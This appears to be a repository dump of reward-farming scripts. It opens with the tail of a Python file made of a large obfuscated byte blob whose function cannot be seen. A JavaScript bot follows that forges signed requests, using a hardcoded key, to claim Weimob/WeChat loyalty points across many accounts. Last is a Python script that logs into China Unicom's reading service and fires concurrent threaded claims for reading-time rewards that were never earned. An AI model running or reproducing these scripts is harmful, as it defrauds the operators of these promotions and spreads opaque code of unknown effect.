a<\x93\x9e\tT\xbah"\x9eI\xc3\xf9}\x15\x97\xcdQ\xf2+\xd3H\x17m\x1a\x9a\xc1V\xc4\xcc\x91\xb7&\xb8\xd0\x08v[oO\xb9\x07Z\xa7\x05{+\xc0\xb6\xe1\xd5;%=f\xe7rD\xd2.LI8\xdd\xc6,\x94\x8e\xfb\xd2\x97\xe6w3\r\xd5\xce=\x97\x93?\x1a;\x1c\xe0\xc6\xd9,\xb3\xd8\xfc\\\xa5^\xc3r\x14\xb1\xac~\x18\x82\x9d\x0b4\t\x18\xf8c\xf4\t\xd4\r\xcd\x10\xe7\x035/\x03$\xcf\xed\x88\xae\xc6\xc6\x0c\nJ\xca\x94=)w6H\x9c\xebY\x08wu2\xed\x95\xdd\x9b*\xe7u\xf8\xb2FRV\xab\xce3\xeaP\xa5cQ\x1d\xf5[\x12\x1fQ\x12\xd3\xe8\x1bO<#\xdc\xc5\xeb39%\xca\x1d\x17*\xbd\xbc\xd1\xd4\xa5>\xae*vS\xc8\xfe\x1e!1\xcb\xb8\x9d\xc6\xd0(\xe3K\x9d\x03\xe57qF\xf7\x19\xc9\x9bp:swI\xd8\x88\x8e\x10\x94%SI\xfal\x97\xbb\xa3\xd2\x92}~\xe8\xdep\xcb\xa6\xd01\x12%\x11\xc6A\xac:B\x87\xf4\x03e\x0c\x0cvs\xa5\xe2\xa7\xc9\xd64^5-\x92\x91\xbcB\xbd$\x9e\x9c\x08a\xedc\x93\x9bg\x8b\x18\xd0\x82\xdf\xaa\xc2\xceG.+34\xde=\xe8}!\x04\xcdF\x92\x12\xcbs>\x1b\xc5I\xd2b\x8cU\xe8\\6\x9c\xa7\x94LlF\xdd\x90\xb1\x11\xd6>^\x06\xdcN\xb1\x06\xf0oM[\x05\\\xa4y\xfb\x1e\\K\x15\x9c\xf4@\x95u.\x100\x14\x7f\xd3V.\x12wE\xc4y\x82\x1bo>\'Ny\xc0X\xc6Bd\x0f\x1a\'\xb0\x9b\xae#|\xa2@\x13Ow\x12\x1dx0Y8\xdb\x14\x1a\x80d^qw5\xa9\xfd\xec\xf4t\x1f\x82\xa1\x92Z\x0c\xac\xe7\xe5\xea\xf4b\xca\xd3r\xa9F\x84\x99\x99\xd3\xd3\xa0\xb0vQz\x83\xc7\xedef\xd4\x95\xe5\xdaB\x89\x1f>S\xc0\x91\xce\xd9\xc6\xa1\x02B\xd7\xfd\xa0\xf7\xda\r\xcd\x07e]\xe1I\xc17\xea\xaa\x9a\x1b\xb3d{\x1c\x15T\x8f\x8eXu"\xae\x1a\x05T\xb9\x8d\x99\xea9-\xb3(\xbe\xc5}\xcf`\xbe\x82\xd0V\xf3\xd9\x97\xadPqD\\)i8\xbb%\x8e^\xc7\t#\x02\x9a\xe2\x0e\x17(\xc6\x12(*\xdd\xb1\xab\xb3\xb7<\x98{\x86:\xde\x06%\x92\xee\xd2\n\xf5\tA\xb0\x8a\xc7\xba\x91P\xcd\xbc\x82\xbc\x1b\xea\x1c\xb1\xd1\xa9\x14\xb8\xb7\xac \xe7E\x08\x95t\xe7\xc3z\x05\x8e\xbfH\xee\xda\xa8\t\xc4\x85g\x1b\x05\x01q\xbd\xe4\x927rY\xae\x95\xefQ\x10o\xd8\xdc\xc3\xd4i\x9f\xadp;LI\x17\x8fa\xd9E_\xb8\x85U\xc8\x87 b\x86\x8d\xd6/\x19\x88V\xd1f\xd0f}\xb4w\xf7\xea"w1\x1d\x194\xc1{E\xbdk\x86\xdc\x9el\x0e\xc0+\xc7:\xea)\xe2\x87x\x80\xa9-S=\x02J3\x8f1$\xcd^\x98E6\xfe\xb2\x92A\xb0\xd5!=O\xc5+>\xafKM\xa8O\xf0\xea\xdc\xd3\x9d\xc5\x8aF`,\xdc\x7f\xaf\x134A\x11\x1a\x96w\xd1KJc;\x8e\xa9\x1d\xe8\x08\xe1\x91\xdc47\xbd\x10\xdf\x0e\x9c\xca\xa6P&\xc9\xf0XBJ\xc8\xa4\x89\xf3\xe0\x91\x02R\x11\x88\x82\xd3}I\x04\x9c\xe1INqd\xc4\xb8y\x03\xa7\x816\xb9\xd6Y-\xaa\xf4\xf4\x8c!\x0f\xbfa\x92\xb8\xda\r\x8b\xb9)\xf80N\x00\xa2\xe3\x92I\xcc\xe9%r\xa7N-\x11\xad-[\xdf1F4<\xeb+\x8f\xf5\xb3P\x1a\xadtj\x8e\x8c\x8bJ^\xd0x\xb5\x1au_1(\xd6^^\x95N\x8aT\xb5s\xaeimS\x88`y\xe6N\xeb\xba/\x89\x12\xccBaa\xe8\xb7\xa35*\xc7\xb5\x1b!<\rE\xff|5}[g\x17\xb1T\xdeZ\xaa\xc2\xea\xaa\xad\x05s\xa5F-\'\xc4\xb0\xf3\x1bbE\x84\xa5\x01\xefwG\xf5wY\xbb\xc7\xa0\x1c\xb3k\xf1N\x8f\xf0\xf1-\x7f\xa5\xef\\Y\xa5V\xffP\x99\xaeb\xa5\xb8M\xcb\xebs\xf0K\xd2\xbe\x86\xfdU\xb5\xcb\xc6}-\x9b\xb6\x98<+2\x08kGPF\\\xbf\xed\x04\x83[)zt7\x1a\xb6\xaf\xfc\xad\x0b\xa6\xd6\\\x8d\xdeV3\x96\xca\xf2J@\xb8\xb4\xd5\x9eT\x86t"\xc0\xb8^8\xf9n\x8b\x1d\xc9jF\x99\xc0\xf2Y\x81]\xb4\xd5\xf7]\x8c\x0c}\x0f\xcc\xcfp<[\xaa\xde\xf89\xa5\xcfu\x9c\x87\x05m\xe9\x18V\x8ajr\xd1\xe5\xe8\xdeP$*xK}\xc9\xc5\r\xf3&\x99\xd1\xb7\\\x93Q*\x14\xfb\x9dC\x9ej\xa7e\x08\xd5<\x01\xb1;\xe9\xf1\xf4N"=\x80;\xaa;\xab\xa8\xdcNYh/\xa3\xa7Z^\xd6\xed\xa7\xac\x93z\xf5\xd1\xcd\xbcG\t\xcb\xdd\xb0\x96\xbb\x89\x0b\x88\x9a-q/sE6F\x9e\xe5)\xaa5R\xefshE\x9a\xd6X>\xa7\'\xc5\xe5\x149\x08\x8af\xfb\xd9N}\x80\xd8>\xb6+\xa5/ea\xea\xde[\x02\x94\xeaJ\xe5\xb7\xc7h\xe1w!\xbd\xc1\xb9\xca#\xaei\x9f\x0b\xc2\x13\xce\xb3I\xf9\xba\xf2\x90\xe1\xfc\xf0\x89\xe7I\x9eM)\x92\xd8L\x0b\x85\xd8H\xe9R\xc4\xd2x\xf2=q\x87<7b\xa91&5\x9a\x1d\xd8$u\xb5`\xa9\x9a\'\x85\x0ci^\xec\xc2\x9a\xdb}\xac\xea\x0e\xd9-\xe4\xab\xfc\xc0*\xe1\x9d\x02K\x9d1\xc4\xb82"[)8\xbeC\x0c]\xa2\xda\xd9\xa3[\t\xa2\xf4\xb3n8\xe2\xf9\x80\xa3x\xf9\x9e\xd1_\xe5\xfa8\xdb\x04\xc1\xd2\x94\x08]\xb2\x8c\xdd\xb5z\xa6\xec\xf7q;\xf8>\x8eM\xc1/\x7f\xf8\x87\x8f\xdf\xd7p\x183X}|\xab\xf6\x1a~|K\xf7\xbc\xfb\xf81\xdc\xb1\x8f\x9f\xc3\xbc\x81c\x94\xe7\x1f\xdf\xf6*\x0f?\xbe%k\x12}\xfcT\xb50\x1e?~\x81X\xf8\xaf!\x1c\x93\x1b\xfe\xef_\x86_\x8e2\xf5\x93\xfd\xf5{!\xfc\xdf\xff\xf5o\xff\xf3\x9f\xff\xf1\xf1\xf3?\xd5m<W\xc9?\x7f\xfd^\x18\xffp\xb0\xc7\x97\xbf\x01Pz\xfc\xb6')))
14 | except KeyboardInterrupt:
15 | 	exit()


--------------------------------------------------------------------------------
/统一阿萨姆.js:
--------------------------------------------------------------------------------
  1 | const axios = require("axios").default;
  2 | const $ = new Env("统一快乐星球");
  3 | const CryptoJS = require("crypto-js");
  4 | const Notify = 0;
  5 | 
  6 | function getUuid() {
  7 |   return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) {
  8 |     const r = (Math.random() * 16) | 0;
  9 |     const v = c === "x" ? r : (r & 0x3) | 0x8;
 10 |     return v.toString(16);
 11 |   });
 12 | }
 13 | 
 14 | function get_sign(token, data, nonce, ts) {
 15 |   let t = {
 16 |     signKey: "SDJk@#98&sd*SDld2d",
 17 |     skey: token,
 18 |     body: JSON.stringify(data),
 19 |     nonce,
 20 |     ts,
 21 |   };
 22 |   let n = ["signKey", "skey", "body", "nonce", "ts"].map((e) => t[e]).join(";");
 23 |   return CryptoJS.SHA1(n).toString();
 24 | }
 25 | 
 26 | function generateSpanId(t) {
 27 |   let yt = Array(32);
 28 |   for (var e = 0; e < 2 * t; e++)
 29 |     (yt[e] = Math.floor(16 * Math.random()) + 48), yt[e] >= 58 && (yt[e] += 39);
 30 |   return String.fromCharCode.apply(null, yt.slice(0, 2 * t));
 31 | }
 32 | 
 33 | function init() {
 34 |   $["x-wmsdk-bc"] = `${
 35 |     Math.floor(Math.random() * 5) + 1
 36 |   } ${new Date().getTime()}`;
 37 |   $["x-apm-page-id"] = getUuid();
 38 |   $["x-apm-parent-page-id"] = getUuid();
 39 |   $["x-apm-conversation-id"] = getUuid();
 40 |   $["parentrpcid"] = generateSpanId(8);
 41 | }
 42 | 
 43 | async function do_task(token, sceneKey) {
 44 |   let url =
 45 |       "https://capi.weimobcloud.com/api3/api/asmmp/activity/v1/activity/join",
 46 |     nonce = getUuid(),
 47 |     ts = new Date().getTime();
 48 |   let data = {
 49 |     appid: "wx532ecb3bdaaf92f9",
 50 |     basicInfo: { bosId: 4020112618957, tcode: "weimob", cid: 176205957 },
 51 |     extendInfo: {
 52 |       wxTemplateId: 7224,
 53 |       childTemplateIds: [
 54 |         { customId: 90004, version: "crm@0.0.173" },
 55 |         { customId: 90002, version: "ec@35.4" },
 56 |         { customId: 90006, version: "hudong@0.0.185" },
 57 |         { customId: 90008, version: "cms@0.0.356" },
 58 |       ],
 59 |       analysis: [],
 60 |       quickdeliver: { enable: false },
 61 |       bosTemplateId: 1000001178,
 62 |       youshu: { enable: false },
 63 |       source: 1,
 64 |       channelsource: 5,
 65 |       mpScene: 1089,
 66 |     },
 67 |     queryParameter: null,
 68 |     i18n: { language: "zh", timezone: "8" },
 69 |     pid: "4020112618957",
 70 |     storeId: "0",
 71 |     umaData: JSON.stringify({ sceneKey: sceneKey[0] }),
 72 |   };
 73 |   let headers = {
 74 |     Host: "capi.weimobcloud.com",
 75 |     "x-nonce": nonce,
 76 |     "x-wmsdk-close-store": "v2",
 77 |     "x-ts": ts,
 78 |     "weimob-pid": 4020112618957,
 79 |     "x-apm-page-id": $["x-apm-page-id"],
 80 |     "weimob-bosId": 4020112618957,
 81 |     "x-wmsdk-bc": $["x-wmsdk-bc"],
 82 |     "x-req-from": "cloud-fe-yunsdk-platform",
 83 |     "auth-token": token[0],
 84 |     "x-apm-parent-page-id": $["x-apm-parent-page-id"],
 85 |     "cloud-app-id": "31536475456-asmxiangmu-pod",
 86 |     "cloud-bosid": 4020112618957,
 87 |     "x-page-route": "packages/wm-cloud-assam/task/index",
 88 |     "x-apm-conversation-id": $["x-apm-conversation-id"],
 89 |     "x-component-is": "packages/wm-cloud-assam/task/index",
 90 |     "x-sign": get_sign(token[0], { sceneKey: sceneKey[0] }, nonce, ts),
 91 |     "x-platform": "mpg",
 92 |     "x-biz-id": 0,
 93 |     "cloud-project-name": "tongyixiangmu",
 94 |     "X-WX-Token": token[1],
 95 |     "content-type": "application/json;charset=utf-8",
 96 |     parentrpcid: $["parentrpcid"], //
 97 |     "wos-x-channel": "0:TITAN",
 98 |     "cloud-pid": 4020112618957,
 99 |     "x-cms-sdk-request": "1.3.149",
100 |     "User-Agent":
101 |       "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d23) NetType/WIFI Language/zh_CN",
102 |     Referer: "https://servicewechat.com/wx532ecb3bdaaf92f9/173/page-frame.html",
103 |   };
104 |   let res = await $.post(url, data, headers);
105 | 
106 |   if (res.code == "Success") {
107 |     $.addMsg(`[${sceneKey[1]}]:success`);
108 |   } else {
109 |     $.addMsg(`[${sceneKey[1]}]:${res.msg}`);
110 |   }
111 | }
112 | async function account(token) {
113 |   let url =
114 |       "https://capi.weimobcloud.com/api3/api/asmmp/activity/v1/asset/point/account",
115 |     nonce = getUuid(),
116 |     ts = new Date().getTime();
117 |   let data = {
118 |     appid: "wx532ecb3bdaaf92f9",
119 |     basicInfo: { bosId: 4020112618957, tcode: "weimob", cid: 176205957 },
120 |     extendInfo: {
121 |       wxTemplateId: 7224,
122 |       childTemplateIds: [
123 |         { customId: 90004, version: "crm@0.0.173" },
124 |         { customId: 90002, version: "ec@35.4" },
125 |         { customId: 90006, version: "hudong@0.0.185" },
126 |         { customId: 90008, version: "cms@0.0.356" },
127 |       ],
128 |       analysis: [],
129 |       quickdeliver: { enable: false },
130 |       bosTemplateId: 1000001178,
131 |       youshu: { enable: false },
132 |       source: 1,
133 |       channelsource: 5,
134 |       mpScene: 1089,
135 |     },
136 |     queryParameter: {
137 |       tracePromotionId: "100045812",
138 |       tracepromotionid: "100045812",
139 |     },
140 |     i18n: { language: "zh", timezone: "8" },
141 |     pid: "4020112618957",
142 |     storeId: "0",
143 |     umaData: "{}",
144 |     tracePromotionId: "100045812",
145 |     tracepromotionid: "100045812",
146 |   };
147 |   let headers = {
148 |     Host: "capi.weimobcloud.com",
149 |     "x-nonce": nonce,
150 |     "x-wmsdk-close-store": "v2",
151 |     "x-ts": ts,
152 |     "weimob-pid": 4020112618957,
153 |     "x-apm-page-id": $["x-apm-page-id"],
154 |     "weimob-bosId": 4020112618957,
155 |     "x-wmsdk-bc": $["x-wmsdk-bc"],
156 |     "x-req-from": "cloud-fe-yunsdk-platform",
157 |     "auth-token": token[0],
158 |     "x-apm-parent-page-id": $["x-apm-parent-page-id"],
159 |     "cloud-app-id": "31536475456-asmxiangmu-pod",
160 |     "cloud-bosid": 4020112618957,
161 |     "x-page-route": "packages/wm-cloud-assam/task/index",
162 |     "x-apm-conversation-id": $["x-apm-conversation-id"],
163 |     "x-component-is": "packages/wm-cloud-assam/task/index",
164 |     "x-sign": get_sign(token[0], {}, nonce, ts),
165 |     "x-platform": "mpg",
166 |     "x-biz-id": 0,
167 |     "cloud-project-name": "tongyixiangmu",
168 |     "X-WX-Token": token[1],
169 |     "content-type": "application/json;charset=utf-8",
170 |     parentrpcid: $["parentrpcid"],
171 |     "wos-x-channel": "0:TITAN",
172 |     "cloud-pid": 4020112618957,
173 |     "x-cms-sdk-request": "1.3.149",
174 |     "User-Agent":
175 |       "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.29(0x18001d23) NetType/WIFI Language/zh_CN",
176 |     Referer: "https://servicewechat.com/wx532ecb3bdaaf92f9/173/page-frame.html",
177 |   };
178 |   let res = await $.post(url, data, headers);
179 |   $.addMsg(`当前可用开心值:${res.data.assetMap.POINT}`);
180 |   $.uid = res.data.uid;
181 | }
182 | 
183 | (async () => {
184 |   let arr = $.getToken("tyklxq");
185 |   init();
186 |   if (!arr) return await $.SendMsg("未填写token");
187 | 
188 |   for (let index = 0; index < arr.length; index++) {
189 |     $.addMsg(`账号${index + 1}:`);
190 |     for (const sceneKey of [["asm_mrqd",'每日签到'],['asm_mrfxyl','每日查看推广海报'],['asm_mrgklxq','逛快乐星球']]) {
191 |         await do_task(arr[index],sceneKey)
192 |         await $.wait(Math.floor(Math.random() * 5) + 5);
193 |     }
194 |     await account(arr[index]);
195 |   }
196 |   await $.SendMsg($._msg);
197 |   $.done();
198 | })();
199 | 
200 | function Env(name) {
201 |   return new (class {
202 |     constructor(name) {
203 |       this.name = name;
204 |       console.log(`\ud83d\udd14${this.name},\u5f00\u59cb!`);
205 |     }
206 |     async get(url, headers) {
207 |       try {
208 |         this.result = await axios.get(url, { headers });
209 |         return this.result.data;
210 |       } catch (err) {
211 |         console.log(`error:${err.message}`);
212 |       }
213 |     }
214 |     async post(url, data, headers) {
215 |       try {
216 |         this.result = await axios.post(url, data, { headers: headers });
217 |         return this.result.data;
218 |       } catch (err) {
219 |         console.log(`error:${err.message}`);
220 |       }
221 |     }
222 |     async SendMsg(message) {
223 |       if (!message) return;
224 |       if (Notify > 0) {
225 |         var notify = require("./sendNotify");
226 |         await notify.sendNotify(this.name, message);
227 |       }
228 |     }
229 |     addMsg(msg) {
230 |       if (!this._msg) this._msg = "";
231 |       console.log(msg);
232 |       this._msg += msg + "\n";
233 |     }
234 |     wait(delay) {
235 |       return new Promise((res) => {
236 |         setTimeout(res, delay * 1000);
237 |       });
238 |     }
239 |     getToken(key) {
240 |       let tmp = process.env[key];
241 |       if (!tmp) return "";
242 |       if (tmp.includes("@")) {
243 |         let arr = tmp.split("&");
244 |         arr = arr.map((value) => {
245 |           let tmp = value.split("@");
246 |           return [tmp[0], tmp[1]];
247 |         });
248 |         return arr.length > 0 ? arr : "";
249 |       }
250 |       let arr = tmp.split("&");
251 |       return arr.length > 0 ? arr : "";
252 |     }
253 |     done() {
254 |       console.log(`\ud83d\udd14${this.name},\u7ed3\u675f!`);
255 |     }
256 |   })(name);
257 | }
258 | 


--------------------------------------------------------------------------------
/联通阅读 - 副本.py:
--------------------------------------------------------------------------------
  1 | import requests
  2 | import json
  3 | import base64
  4 | from Crypto.Cipher import AES
  5 | from Crypto.Util.Padding import pad
  6 | import time
  7 | from datetime import datetime
  8 | import binascii
  9 | import base64
 10 | import threading
 11 | UA = "Mozilla/5.0 (Linux; Android 11; Redmi Note 10 Pro Build/RP1A.201005.004; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.159 Mobile Safari/537.36"
 12 | PHONE_V = "17588888880@15288888888"
 13 | TASK_IDS = [121, 122,123,124, 125] 
 14 | infocode = {
 15 |     "121":"阅读15分钟任务",
 16 |     "122":"阅读120分钟任务",
 17 |     "123":"阅读240分钟任务",
 18 |     "124":"阅读360分钟任务",
 19 |     "125":"阅读480分钟任务"
 20 | }
 21 | ACTIVE_ID = "20"
 22 | REQ_NUM = 10
 23 | DELAY = 0.2
 24 | 
 25 | headers = {
 26 |     "User-Agent": UA,
 27 |     "Accept": "application/json, text/plain, */*",
 28 |     "Accept-Encoding": "gzip, deflate, br, zstd",
 29 |     "Pragma": "no-cache",
 30 |     "Cache-Control": "no-cache",
 31 |     "sec-ch-ua": '"Android WebView";v="123", "Not:A-Brand";v="8", "Chromium";v="123"',
 32 |     "accesstoken": "ODZERTZCMjA1NTg1MTFFNDNFMThDRDYw",
 33 |     "Content-Type": "application/json;charset=UTF-8",
 34 |     "sec-ch-ua-mobile": "?1",
 35 |     "sec-ch-ua-platform": '"Android"',
 36 |     "Origin": "https://10010.woread.com.cn",
 37 |     "X-Requested-With": "com.sinovatech.unicom.ui",
 38 |     "Sec-Fetch-Site": "same-origin",
 39 |     "Sec-Fetch-Mode": "cors",
 40 |     "Sec-Fetch-Dest": "empty",
 41 |     "Referer": "https://10010.woread.com.cn/ng_woread/",
 42 |     "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
 43 | }
 44 | def utf8_parse(s):
 45 |     return s.encode('utf-8')
 46 | def get_aes(data, key):
 47 |     iv = "gnirtS--setyB-61"[::-1].encode('utf-8')
 48 |     key = key.encode('utf-8')
 49 |     key_hex = binascii.hexlify(key).decode('utf-8')
 50 |     iv_hex = binascii.hexlify(iv).decode('utf-8')
 51 |     iv = bytes.fromhex(iv_hex)
 52 |     key = bytes.fromhex(key_hex)
 53 |     json_string = json.dumps(data, separators=(',', ':'))
 54 |     utf8_string = json_string.encode('utf-8')
 55 |     cipher = AES.new(key, AES.MODE_CBC, iv)
 56 |     encrypted = cipher.encrypt(pad(utf8_string, AES.block_size))
 57 |     encrypted_hex = encrypted.hex()
 58 |     return base64.b64encode(encrypted_hex.encode('utf-8')).decode('utf-8')
 59 | def get_aes_v(body,task_id):
 60 |     token = body["data"]["token"]
 61 |     user_id = body["data"]["userid"]
 62 |     user_index = body["data"]["userindex"]
 63 |     user_account = body["data"]["phone"]
 64 |     verify_code = body["data"]["verifycode"]
 65 | 
 66 |     e1 = {"datav": {"activeId": ACTIVE_ID, "taskId":task_id}}
 67 |     result1 = get_aes({
 68 |         **e1["datav"],
 69 |         "timestamp": datetime.now().strftime("%Y%m%d%H%M%S"),
 70 |         "token": token,
 71 |         "userAccount": user_account,
 72 |         "userId": user_id,
 73 |         "userIndex": user_index,
 74 |         "verifyCode": verify_code
 75 |     }, "woreadst^&*12345")
 76 | 
 77 |     # print(result1)
 78 |     return result1
 79 | def get_aes_phone(data, key):
 80 |     iv = utf8_parse("gnirtS--setyB-61"[::-1])
 81 |     key = utf8_parse(key)
 82 |     phone = utf8_parse(data)
 83 |     cipher = AES.new(key, AES.MODE_CBC, iv)
 84 |     encrypted = cipher.encrypt(pad(phone, AES.block_size))
 85 |     hex_str = binascii.hexlify(encrypted).decode('utf-8')
 86 |     return base64.b64encode(hex_str.encode('utf-8')).decode('utf-8')
 87 | def process_task(token, task_id):
 88 |     data = json.dumps({"sign": token})
 89 |     headers2 = headers.copy()
 90 |     headers2["Content-Type"] = "application/json;charset=UTF-8"
 91 | 
 92 |     try:
 93 |         response = requests.post(
 94 |             "https://10010.woread.com.cn/ng_woread_service/rest/activity423/receiveActiveTask",
 95 |             headers=headers2,
 96 |             data=data
 97 |         )
 98 |         response_data = response.json()
 99 |         print(f"Task {infocode[str(task_id)]}: {response_data.get('message', 'No message')}")
100 |     except Exception as error:
101 |         print(f"请求失败，任务ID:{task_id}:", error)
102 | 
103 |     time.sleep(DELAY)
104 | 
105 | def get_aes_v_task(tokens):
106 |     threads = []
107 |     for i in range(REQ_NUM):
108 |         token_index = i % len(tokens)
109 |         token = tokens[token_index]
110 |         task_id = TASK_IDS[i % len(TASK_IDS)]
111 | 
112 |         thread = threading.Thread(target=process_task, args=(token, task_id))
113 |         time.sleep(0.3)
114 |         threads.append(thread)
115 |         thread.start()
116 | 
117 |     for thread in threads:
118 |         thread.join()
119 | 
120 | 
121 |     print(datetime.now().strftime("%H:%M:%S:%f")[:-3])
122 | def login(phone):
123 |     e = {"data": {"phone": get_aes_phone(phone, "woreadst^&*12345")}}
124 |     result = get_aes({**e["data"], "timestamp": datetime.now().strftime("%Y%m%d%H%M%S")}, "woreadst^&*12345")
125 |     data = json.dumps({"sign": result})
126 |     response = requests.post(
127 |         "https://10010.woread.com.cn/ng_woread_service/rest/account/login",
128 |         headers=headers,
129 |         data=data
130 |     )
131 | 
132 |     if response.status_code == 200:
133 |         login_response = response.json()
134 |         tokens = []
135 |         for task_id in TASK_IDS:
136 |             token = get_aes_v({
137 |                 "data": {
138 |                     "token": login_response["data"]["token"],
139 |                     "userid": login_response["data"]["userid"],
140 |                     "userindex": login_response["data"]["userindex"],
141 |                     "phone": login_response["data"]["phone"],
142 |                     "verifycode": login_response["data"]["verifycode"]
143 |                 }
144 |             }, task_id)
145 |             tokens.append(token)
146 |         
147 |         get_aes_v_task(tokens)
148 |     else:
149 |         print(f"登录失败: {phone}")
150 | 
151 | def main():
152 |     threads = []
153 |     PHONElist = PHONE_V.split('@')
154 |     for phone in PHONElist:
155 |         thread = threading.Thread(target=login, args=(phone,))
156 |         threads.append(thread)
157 |         thread.start()
158 | 
159 |     for thread in threads:
160 |         thread.join()
161 | 
162 | if __name__ == "__main__":
163 |     main()
164 |     print("All tasks processed.")


--------------------------------------------------------------------------------